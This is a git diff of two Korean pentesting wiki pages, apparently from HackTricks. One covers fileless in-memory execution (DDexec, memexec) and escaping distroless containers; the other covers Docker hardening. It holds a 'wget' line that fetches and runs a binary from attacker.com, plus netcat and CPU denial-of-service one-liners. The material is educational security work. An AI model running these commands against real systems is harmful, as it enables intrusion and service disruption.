[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)는 **자신의 프로세스 메모리를 수정**하여 **`/proc/self/mem`**을 덮어쓰는 기술로, **프로세스에서 실행되는 어셈블리 코드를 제어**하여 **쉘코드**를 작성하고 프로세스를 **임의의 코드를 실행**하도록 "변이"시킬 수 있습니다.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)는 **자신의 프로세스 메모리를 수정**하여 **`/proc/self/mem`**을 덮어쓰는 기술로, **프로세스가 실행하는 어셈블리 코드를 제어**하여 **쉘코드**를 작성하고 프로세스를 **임의의 코드를 실행**하도록 "변이"시킬 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec**을 사용하면 **메모리에서 자체 쉘코드** 또는 **임의의 바이너리**를 **로드하고 실행**할 수 있습니다.
|
||||
**DDexec / EverythingExec**를 사용하면 **메모리**에서 자체 **쉘코드** 또는 **임의의 바이너리**를 **로드하고 실행**할 수 있습니다.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -85,28 +83,40 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
```
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec)는 DDexec의 자연스러운 다음 단계입니다. 이것은 **DDexec 셸코드를 데몬화**한 것으로, **다른 이진 파일을 실행하려고 할 때마다 DDexec를 다시 시작할 필요가 없습니다. 대신 DDexec 기술을 통해 memexec 셸코드를 실행하고 이 데몬과 통신하여 새로운 이진 파일을 전달하고 실행할 수 있습니다.**
|
||||
[**Memexec**](https://github.com/arget13/memexec)는 DDexec의 자연스러운 다음 단계입니다. **DDexec 셸코드를 데몬화**한 것으로, **다른 이진 파일을 실행**하려면 DDexec을 다시 시작할 필요가 없습니다. 대신 DDexec 기술을 통해 memexec 셸코드를 실행하고 **이 데몬과 통신하여 새로운 이진 파일을로드하고 실행**할 수 있습니다.
|
||||
|
||||
**memexec를 사용하여 PHP 역쉘에서 이진 파일을 실행하는 예제**는 [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 찾을 수 있습니다.
|
||||
|
||||
### Memdlopen
|
||||
|
||||
DDexec와 유사한 목적을 가진 [**memdlopen**](https://github.com/arget13/memdlopen) 기술은 **메모리에 이진 파일을 로드하여 나중에 실행하는 더 쉬운 방법**을 제공합니다. 이를 통해 종속성이 있는 이진 파일을 로드할 수도 있습니다.
|
||||
DDexec과 유사한 목적을 가진 [**memdlopen**](https://github.com/arget13/memdlopen) 기술은 **메모리에 이진 파일을로드하여 나중에 실행하는 더 쉬운 방법**을 제공합니다. 이를 통해 종속성이 있는 이진 파일을로드할 수도 있습니다.
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
### Distroless란
|
||||
|
||||
Distroless 컨테이너에는 **특정 응용 프로그램이나 서비스를 실행하는 데 필요한 최소한의 구성 요소만 포함**되어 있습니다. 이는 라이브러리 및 런타임 종속성과 같은 것을 포함하지만 패키지 관리자, 셸 또는 시스템 유틸리티와 같은 큰 구성 요소는 제외됩니다.
|
||||
Distroless 컨테이너에는 특정 응용 프로그램이나 서비스를 실행하는 데 필요한 **최소한의 구성 요소만 포함**되어 있습니다. 라이브러리 및 런타임 종속성과 같은 것은 포함되지만 패키지 관리자, 셸 또는 시스템 유틸리티와 같은 큰 구성 요소는 제외됩니다.
|
||||
|
||||
Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거**함으로써 컨테이너의 **공격 표면을 줄이고 악용될 수 있는 취약점의 수를 최소화**하는 것입니다.
|
||||
|
||||
### 역쉘
|
||||
|
||||
Distroless 컨테이너에서는 보통 `sh`나 `bash`와 같은 것을 찾을 수 없을 수도 있습니다. 또한 `ls`, `whoami`, `id`와 같은 이진 파일도 찾을 수 없습니다. 이는 일반적으로 시스템에서 실행하는 모든 것들입니다.
|
||||
Distroless 컨테이너에서는 일반 쉘을 얻기 위해 `sh` 또는 `bash`를 **찾을 수 없을 수도** 있습니다. 또한 `ls`, `whoami`, `id`와 같은 이진 파일도 찾을 수 없습니다. 이는 일반적으로 시스템에서 실행하는 모든 것입니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
따라서, 보통 하는 것처럼 **역쉘을 얻거나 시스템을 열거할 수 없을 것**입니다.
|
||||
따라서 보통 하는 것처럼 **역쉘을 얻거나** 시스템을 **열거**할 수 없습니다.
|
||||
{% endhint %}
|
||||
|
||||
그러나,
|
||||
그러나 감염된 컨테이너가 예를 들어 플라스크 웹을 실행 중이라면 Python이 설치되어 있으므로 **Python 역쉘**을 얻을 수 있습니다. Node를 실행 중이라면 Node 역쉘을 얻을 수 있으며 대부분의 **스크립팅 언어**도 마찬가지입니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
스크립팅 언어를 사용하여 **언어 기능을 활용하여 시스템을 열거**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
**`read-only/no-exec`** 보호 기능이 없는 경우에는 역쉘을 악용하여 파일 시스템에 **자신의 이진 파일을 작성**하고 **실행**할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
그러나 이러한 종류의 컨테이너에서는 일반적으로 이러한 보호 기능이 존재하지만 **이를 우회하기 위해 이전 메모리 실행 기술을 사용**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
**RCE 취약점을 악용하여 스크립팅 언어 역쉘을 얻고 메모리에서 이진 파일을 실행하는 방법**에 대한 **예제**는 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 찾을 수 있습니다.
|
||||
|
|
|
@ -2,45 +2,45 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## **기본 Docker 엔진 보안**
|
||||
|
||||
**Docker 엔진**은 Linux 커널의 **네임스페이스**와 **Cgroups**를 활용하여 컨테이너를 격리하며 기본적인 보안 계층을 제공합니다. **캐퍼빌리티 드롭**, **Seccomp**, **SELinux/AppArmor**을 통해 추가적인 보호가 제공되어 컨테이너 격리가 강화됩니다. **인증 플러그인**을 사용하여 사용자 조치를 더 제한할 수 있습니다.
|
||||
**Docker 엔진**은 컨테이너를 격리하기 위해 Linux 커널의 **네임스페이스**와 **Cgroups**를 사용하여 기본적인 보안 계층을 제공합니다. **캐퍼빌리티 드롭**, **Seccomp**, **SELinux/AppArmor**을 통해 추가적인 보호가 제공되어 컨테이너 격리가 강화됩니다. **인증 플러그인**을 사용하여 사용자 조치를 더 제한할 수 있습니다.
|
||||
|
||||
![Docker 보안](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
### Docker 엔진에 안전한 액세스
|
||||
|
||||
Docker 엔진은 Unix 소켓을 통해 로컬로 또는 HTTP를 통해 원격으로 액세스할 수 있습니다. 원격 액세스의 경우, 기밀성, 무결성 및 인증을 보장하기 위해 HTTPS 및 **TLS**를 사용하는 것이 중요합니다.
|
||||
Docker 엔진은 로컬로는 Unix 소켓을 통해, 원격으로는 HTTP를 사용하여 액세스할 수 있습니다. 원격 액세스의 경우, 기밀성, 무결성 및 인증을 보장하기 위해 HTTPS 및 **TLS**를 사용하는 것이 중요합니다.
|
||||
|
||||
Ubuntu 시스템에서 Docker는 기본적으로 `unix:///var/run/docker.sock`에서 Unix 소켓을 수신합니다. Docker의 시작 옵션은 `/etc/default/docker`에 정의됩니다. Docker API 및 클라이언트에 원격 액세스를 활성화하려면 다음 설정을 추가하여 Docker 데몬을 HTTP 소켓에 노출하세요:
|
||||
Ubuntu 시스템에서 Docker의 시작 옵션은 `/etc/default/docker`에 정의되어 있습니다. Docker API 및 클라이언트에 원격 액세스를 활성화하려면 다음 설정을 추가하여 Docker 데몬을 HTTP 소켓으로 노출하세요:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
그러나 Docker 데몬을 HTTP로 노출하는 것은 보안 문제로 인해 권장되지 않습니다. 연결을 안전하게 하기 위해 HTTPS를 사용하는 것이 좋습니다. 연결을 보호하는 두 가지 주요 방법이 있습니다:
|
||||
그러나 Docker 데몬을 HTTP로 노출하는 것은 보안 문제로 인해 권장되지 않습니다. 연결을 안전하게 하려면 HTTPS를 사용하는 것이 좋습니다. 연결을 보호하는 두 가지 주요 방법이 있습니다:
|
||||
|
||||
1. 클라이언트가 서버의 신원을 확인합니다.
|
||||
2. 클라이언트와 서버가 상호 인증을 수행하여 서로의 신원을 확인합니다.
|
||||
2. 클라이언트와 서버가 상호 각자의 신원을 인증합니다.
|
||||
|
||||
인증서는 서버의 신원을 확인하는 데 사용됩니다. 두 방법에 대한 자세한 예제는 [**이 안내서**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)를 참조하십시오.
|
||||
|
||||
|
@ -56,7 +56,7 @@ sudo service docker restart
|
|||
|
||||
컨테이너에는 기본 이미지 또는 기본 이미지 위에 설치된 소프트웨어로 인해 **보안 취약점**이 있을 수 있습니다. Docker는 **Nautilus**라는 프로젝트를 진행 중이며, 이 프로젝트는 컨테이너의 보안 취약점을 스캔하고 취약점을 나열합니다. Nautilus는 각 컨테이너 이미지 레이어를 취약점 저장소와 비교하여 보안 취약점을 식별하는 방식으로 작동합니다.
|
||||
|
||||
자세한 내용은 [**여기를 읽어보세요**](https://docs.docker.com/engine/scan/).
|
||||
더 많은 [**정보는 여기를 참조하십시오**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
* **`docker scan`**
|
||||
|
||||
|
@ -93,10 +93,10 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
도커 이미지 서명은 컨테이너에서 사용되는 이미지의 보안과 무결성을 보장합니다. 다음은 간략한 설명입니다:
|
||||
|
||||
- **도커 콘텐츠 신뢰(Docker Content Trust)**는 이미지 서명을 관리하기 위해 The Update Framework (TUF)를 기반으로 하는 Notary 프로젝트를 활용합니다. 자세한 정보는 [Notary](https://github.com/docker/notary) 및 [TUF](https://theupdateframework.github.io)를 참조하십시오.
|
||||
- 도커 콘텐츠 신뢰를 활성화하려면 `export DOCKER_CONTENT_TRUST=1`을 설정하십시오. 이 기능은 도커 버전 1.10 이후에 기본적으로 꺼져 있습니다.
|
||||
- 이 기능을 활성화하면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시는 루트 및 태깅 키에 대한 암호를 설정해야 하며, 도커는 보안을 강화하기 위해 Yubikey도 지원합니다. 자세한 내용은 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다.
|
||||
- 도커 콘텐츠 신뢰를 활성화하려면 `export DOCKER_CONTENT_TRUST=1`을 설정하십시오. 이 기능은 도커 버전 1.10 이상에서 기본적으로 꺼져 있습니다.
|
||||
- 이 기능을 활성화하면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시에는 루트 및 태깅 키에 대한 암호를 설정해야 하며, 도커는 보안을 강화하기 위해 Yubikey도 지원합니다. 자세한 내용은 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다.
|
||||
- 콘텐츠 신뢰가 활성화된 상태에서 서명되지 않은 이미지를 가져오려고 시도하면 "No trust data for latest" 오류가 발생합니다.
|
||||
- 첫 번째 이후의 이미지 푸시에 대해, 도커는 이미지에 서명하기 위해 저장소 키의 암호를 요청합니다.
|
||||
- 첫 번째 이후의 이미지 푸시에 대해 도커는 이미지에 서명하기 위해 저장소 키의 암호를 요청합니다.
|
||||
|
||||
개인 키를 백업하려면 다음 명령을 사용하십시오:
|
||||
```bash
|
||||
|
@ -106,7 +106,7 @@ Docker 호스트를 전환할 때는 작업을 유지하기 위해 루트 및
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
|
@ -122,25 +122,25 @@ Docker 호스트를 전환할 때는 작업을 유지하기 위해 루트 및
|
|||
|
||||
#### 주요 프로세스 격리 기능
|
||||
|
||||
컨테이너 환경에서 프로젝트 및 프로세스를 격리하는 것은 보안 및 자원 관리에 매우 중요합니다. 여기에는 주요 개념의 간단한 설명이 포함됩니다:
|
||||
컨테이너 환경에서 프로젝트 및 프로세스를 격리하는 것은 보안 및 자원 관리에 매우 중요합니다. 다음은 주요 개념의 간단한 설명입니다:
|
||||
|
||||
**네임스페이스**
|
||||
|
||||
* **목적**: 프로세스, 네트워크 및 파일 시스템과 같은 리소스의 격리를 보장합니다. 특히 Docker에서는 네임스페이스가 컨테이너의 프로세스를 호스트 및 다른 컨테이너와 분리합니다.
|
||||
* **`unshare` 사용**: `unshare` 명령(또는 기본 시스콜)을 사용하여 새로운 네임스페이스를 생성하여 추가적인 격리 계층을 제공합니다. 그러나 Kubernetes는 이를 기본적으로 차단하지 않지만 Docker는 차단합니다.
|
||||
* **제한 사항**: 새로운 네임스페이스를 생성하면 프로세스가 호스트의 기본 네임스페이스로 되돌아갈 수 없습니다. 호스트 네임스페이스에 침투하려면 일반적으로 호스트의 `/proc` 디렉토리에 액세스해야 하며, `nsenter`를 사용하여 진입해야 합니다.
|
||||
* **`unshare` 사용**: `unshare` 명령(또는 해당 시스콜)을 사용하여 새로운 네임스페이스를 생성하여 추가적인 격리 계층을 제공합니다. 그러나 Kubernetes는 이를 기본적으로 차단하지 않지만 Docker는 차단합니다.
|
||||
* **제한**: 새로운 네임스페이스를 생성하더라도 프로세스가 호스트의 기본 네임스페이스로 되돌아가지 못합니다. 호스트 네임스페이스에 침투하려면 일반적으로 호스트의 `/proc` 디렉토리에 액세스해야 하며, `nsenter`를 사용하여 진입해야 합니다.
|
||||
|
||||
**제어 그룹 (CGroups)**
|
||||
|
||||
* **기능**: 프로세스 간 자원을 할당하는 데 주로 사용됩니다.
|
||||
* **보안 측면**: CGroups 자체는 `release_agent` 기능을 제외하고는 격리 보안을 제공하지 않습니다. 이 기능이 잘못 구성된 경우 권한이 없는 액세스를 악용할 수 있습니다.
|
||||
* **보안 측면**: CGroups 자체는 격리 보안을 제공하지 않지만, 잘못 구성된 경우 `release_agent` 기능을 통해 무단 액세스를 악용할 수 있습니다.
|
||||
|
||||
**능력 제한**
|
||||
|
||||
* **중요성**: 프로세스 격리를 위한 중요한 보안 기능입니다.
|
||||
* **중요성**: 프로세스 격리에 대한 중요한 보안 기능입니다.
|
||||
* **기능**: 특정 능력을 삭제함으로써 루트 프로세스가 수행할 수 있는 작업을 제한합니다. 프로세스가 루트 권한으로 실행되더라도 필요한 능력이 없으면 특권 작업을 실행할 수 없으며, 시스콜은 권한이 부족하여 실패합니다.
|
||||
|
||||
이것은 프로세스가 다른 능력을 삭제한 후 남은 **능력**입니다:
|
||||
이것은 프로세스가 다른 능력을 삭제한 후 **남은 능력**입니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -157,15 +157,15 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
도커에는 활성화할 수 있는 템플릿이 있습니다: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
이를 통해 기능, 시스콜, 파일 및 폴더 접근을 줄일 수 있습니다...
|
||||
이를 통해 기능을 줄이고, 시스콜, 파일 및 폴더 접근을 제한할 수 있습니다...
|
||||
|
||||
</details>
|
||||
|
||||
### 네임스페이스
|
||||
|
||||
**네임스페이스**는 리눅스 커널의 기능으로, 하나의 **리소스 집합**을 볼 수 있는 **프로세스** 집합과 **다른** 리소스 집합을 볼 수 있는 **다른** 프로세스 집합으로 **커널 리소스를 분할**합니다. 이 기능은 동일한 네임스페이스를 가진 리소스와 프로세스 세트를 가지고 있지만 해당 네임스페이스는 서로 다른 리소스를 참조합니다. 리소스는 여러 공간에 존재할 수 있습니다.
|
||||
**네임스페이스**는 Linux 커널의 기능으로, 하나의 **프로세스 집합**이 **한 세트의 자원**을 볼 때 **다른** 프로세스 집합이 **다른** 세트의 자원을 볼 수 있도록 커널 자원을 분할하는 기능입니다. 이 기능은 동일한 네임스페이스를 가진 자원과 프로세스 세트를 가지고 있지만, 해당 네임스페이스는 서로 다른 자원을 참조합니다. 자원은 여러 공간에 존재할 수 있습니다.
|
||||
|
||||
도커는 컨테이너 격리를 달성하기 위해 다음과 같은 리눅스 커널 네임스페이스를 활용합니다:
|
||||
도커는 컨테이너 격리를 달성하기 위해 다음과 같은 Linux 커널 네임스페이스를 활용합니다:
|
||||
|
||||
* pid 네임스페이스
|
||||
* mount 네임스페이스
|
||||
|
@ -181,8 +181,8 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
### cgroups
|
||||
|
||||
리눅스 커널 기능인 **cgroups**는 일련의 프로세스 사이에서 **cpu, 메모리, io, 네트워크 대역폭과 같은 리소스를 제한**하는 기능을 제공합니다. 도커는 특정 컨테이너에 대한 리소스 제어를 가능하게 하는 cgroup 기능을 사용합니다.\
|
||||
다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, CPU 공유가 512로, blkioweight가 400으로 설정된 컨테이너입니다. CPU 공유는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. CPU 공유가 1024인 세 개의 컨테이너가 동일한 경우, CPU 리소스 경합이 발생할 경우 각 컨테이너는 CPU의 최대 33%를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다.
|
||||
Linux 커널 기능인 **cgroups**는 프로세스 집합에서 **cpu, 메모리, io, 네트워크 대역폭과 같은 자원을 제한**하는 기능을 제공합니다. 도커는 특정 컨테이너에 대한 자원 제어를 가능하게 하는 cgroup 기능을 사용합니다.\
|
||||
다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, CPU 공유가 512로, blkioweight가 400으로 설정된 컨테이너입니다. CPU 공유는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. CPU 공유가 1024인 세 개의 컨테이너가 있을 경우, CPU 자원 경합이 발생할 때 각 컨테이너는 CPU의 최대 33%를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -200,31 +200,31 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
|
|||
|
||||
### Capabilities
|
||||
|
||||
Capabilities는 루트 사용자에게 허용될 수 있는 기능을 **더 세밀하게 제어**할 수 있게 합니다. Docker는 Linux 커널 기능을 사용하여 **사용자의 유형과 관계없이 컨테이너 내에서 수행할 수 있는 작업을 제한**합니다.
|
||||
Capabilities는 루트 사용자에게 허용될 수 있는 기능을 **더 세밀하게 제어**할 수 있게 합니다. Docker는 Linux 커널 기능을 사용하여 **사용자 유형과 관계없이 컨테이너 내에서 수행할 수 있는 작업을 제한**합니다.
|
||||
|
||||
도커 컨테이너가 실행될 때, **프로세스는 격리에서 탈출할 수 있는 민감한 기능을 제거**합니다. 이는 프로세스가 민감한 작업을 수행하고 탈출하는 것을 방지하기 위한 시도입니다:
|
||||
도커 컨테이너가 실행될 때, **프로세스는 격리에서 탈출할 수 있는 민감한 기능을 제거**합니다. 이는 프로세스가 민감한 작업을 수행하고 탈출할 수 없도록 보장합니다:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Docker에서 Seccomp
|
||||
### Docker의 Seccomp
|
||||
|
||||
이는 Docker가 컨테이너 내에서 사용할 수 있는 **syscalls를 제한**하는 보안 기능입니다:
|
||||
이는 Docker가 컨테이너 내에서 사용할 수 있는 **syscalls를 제한**할 수 있게 하는 보안 기능입니다:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Docker에서 AppArmor
|
||||
### Docker의 AppArmor
|
||||
|
||||
**AppArmor**는 **프로그램별 프로필**을 사용하여 **컨테이너를 제한된 리소스 집합으로 제한**하는 커널 개선 기능입니다.:
|
||||
**AppArmor**는 **프로그램별 프로필**을 사용하여 **컨테이너를 제한된 리소스로 제한**하는 커널 개선 기능입니다.:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Docker에서 SELinux
|
||||
### Docker의 SELinux
|
||||
|
||||
* **라벨링 시스템**: SELinux는 모든 프로세스와 파일 시스템 객체에 고유한 라벨을 할당합니다.
|
||||
* **정책 강제**: 시스템 내에서 프로세스 라벨이 다른 라벨에 대해 수행할 수 있는 작업을 정의하는 보안 정책을 강제합니다.
|
||||
|
@ -232,7 +232,7 @@ Capabilities는 루트 사용자에게 허용될 수 있는 기능을 **더 세
|
|||
* **컨테이너 내 파일 라벨링**: 컨테이너 내 파일은 일반적으로 `container_file_t`로 라벨이 지정됩니다.
|
||||
* **정책 규칙**: SELinux 정책은 주로 `container_t` 라벨을 가진 프로세스가 일반적으로 `container_file_t`로 라벨이 지정된 파일과만 상호 작용(읽기, 쓰기, 실행)할 수 있도록 합니다.
|
||||
|
||||
이 메커니즘은 컨테이너 내 프로세스가 침해당해도 해당 라벨을 가진 객체와만 상호 작용하도록 보장하여, 이러한 침해로부터 발생할 수 있는 잠재적인 피해를 크게 제한합니다.
|
||||
이 메커니즘은 컨테이너 내 프로세스가 손상되더라도 해당 라벨을 가진 객체와만 상호 작용하도록 제한하여 이러한 손상으로부터 발생할 수 있는 잠재적인 피해를 크게 제한합니다.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -240,10 +240,10 @@ Capabilities는 루트 사용자에게 허용될 수 있는 기능을 **더 세
|
|||
|
||||
### AuthZ & AuthN
|
||||
|
||||
Docker에서 권한 부여 플러그인은 Docker 데몬에 대한 요청을 허용하거나 차단하는 보안에서 중요한 역할을 합니다. 이 결정은 두 가지 주요 컨텍스트를 검토하여 내립니다:
|
||||
Docker에서 권한 부여 플러그인은 Docker 데몬에 대한 요청을 허용하거나 차단할지 결정하여 보안에 중요한 역할을 합니다. 이 결정은 두 가지 주요 컨텍스트를 검토하여 내립니다:
|
||||
|
||||
* **인증 컨텍스트**: 사용자에 대한 포괄적인 정보를 포함하며, 누구인지 및 어떻게 인증했는지와 같은 정보를 제공합니다.
|
||||
* **명령 컨텍스트**: 요청과 관련된 모든 중요한 데이터를 포함합니다.
|
||||
* **인증 컨텍스트**: 사용자에 대한 포괄적인 정보를 포함하며, 사용자가 누구이며 어떻게 인증했는지 등을 알려줍니다.
|
||||
* **명령어 컨텍스트**: 요청과 관련된 모든 중요한 데이터를 포함합니다.
|
||||
|
||||
이러한 컨텍스트는 인증된 사용자로부터의 합법적인 요청만 처리되도록 보장하여 Docker 작업의 보안을 강화합니다.
|
||||
|
||||
|
@ -253,7 +253,7 @@ Docker에서 권한 부여 플러그인은 Docker 데몬에 대한 요청을 허
|
|||
|
||||
## 컨테이너로부터의 DoS
|
||||
|
||||
컨테이너가 사용할 수 있는 리소스를 제대로 제한하지 않으면, 침해당한 컨테이너가 실행 중인 호스트에 DoS를 발생시킬 수 있습니다.
|
||||
컨테이너가 사용할 수 있는 리소스를 제대로 제한하지 않으면, 손상된 컨테이너가 실행 중인 호스트에 DoS를 발생시킬 수 있습니다.
|
||||
|
||||
* CPU DoS
|
||||
```bash
|
||||
|
@ -281,9 +281,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
만약 공격자가 낮은 권한 사용자로 액세스를 얻는 컨테이너를 실행 중이라면, **잘못 구성된 suid 이진 파일**이 있는 경우, 공격자는 이를 악용하여 **컨테이너 내에서 권한 상승**을 할 수 있습니다. 이로 인해 그가 컨테이너를 탈출할 수도 있습니다.
|
||||
|
||||
**`no-new-privileges`** 옵션을 활성화하여 컨테이너를 실행하면, **이러한 종류의 권한 상승을 방지**할 수 있습니다.
|
||||
공격자가 낮은 권한 사용자로 액세스를 얻는 컨테이너를 실행 중인 경우 **`no-new-privileges`** 옵션을 활성화하여 컨테이너를 실행하면 이러한 권한 상승을 방지할 수 있습니다.
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
@ -312,19 +310,19 @@ Docker 이미지에 비밀을 직접 포함하거나 환경 변수를 사용하
|
|||
|
||||
**Docker 볼륨**은 민감한 정보에 액세스하는 데 권장되는 안전한 대안입니다. 이들은 메모리 내 임시 파일 시스템으로 사용될 수 있으며, `docker inspect` 및 로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자 및 컨테이너에 `exec` 액세스 권한이 있는 사용자는 여전히 비밀을 액세스할 수 있습니다.
|
||||
|
||||
**Docker secrets**은 민감한 정보를 처리하는 더 안전한 방법을 제공합니다. 이미지 빌드 단계에서 비밀이 필요한 경우, **BuildKit**은 빌드 시간 비밀을 지원하는 효율적인 솔루션을 제공하여 빌드 속도를 향상시키고 추가 기능을 제공합니다.
|
||||
**Docker secrets**은 민감한 정보를 처리하는 더 안전한 방법을 제공합니다. 이미지 빌드 단계 중에 비밀이 필요한 경우, **BuildKit**은 빌드 시간 비밀을 지원하는 효율적인 솔루션을 제공하여 빌드 속도를 향상시키고 추가 기능을 제공합니다.
|
||||
|
||||
BuildKit을 활용하기 위해 다음 세 가지 방법으로 활성화할 수 있습니다:
|
||||
BuildKit을 활용하기 위해 세 가지 방법으로 활성화할 수 있습니다:
|
||||
|
||||
1. 환경 변수를 통해: `export DOCKER_BUILDKIT=1`
|
||||
2. 명령어에 접두사를 붙여: `DOCKER_BUILDKIT=1 docker build .`
|
||||
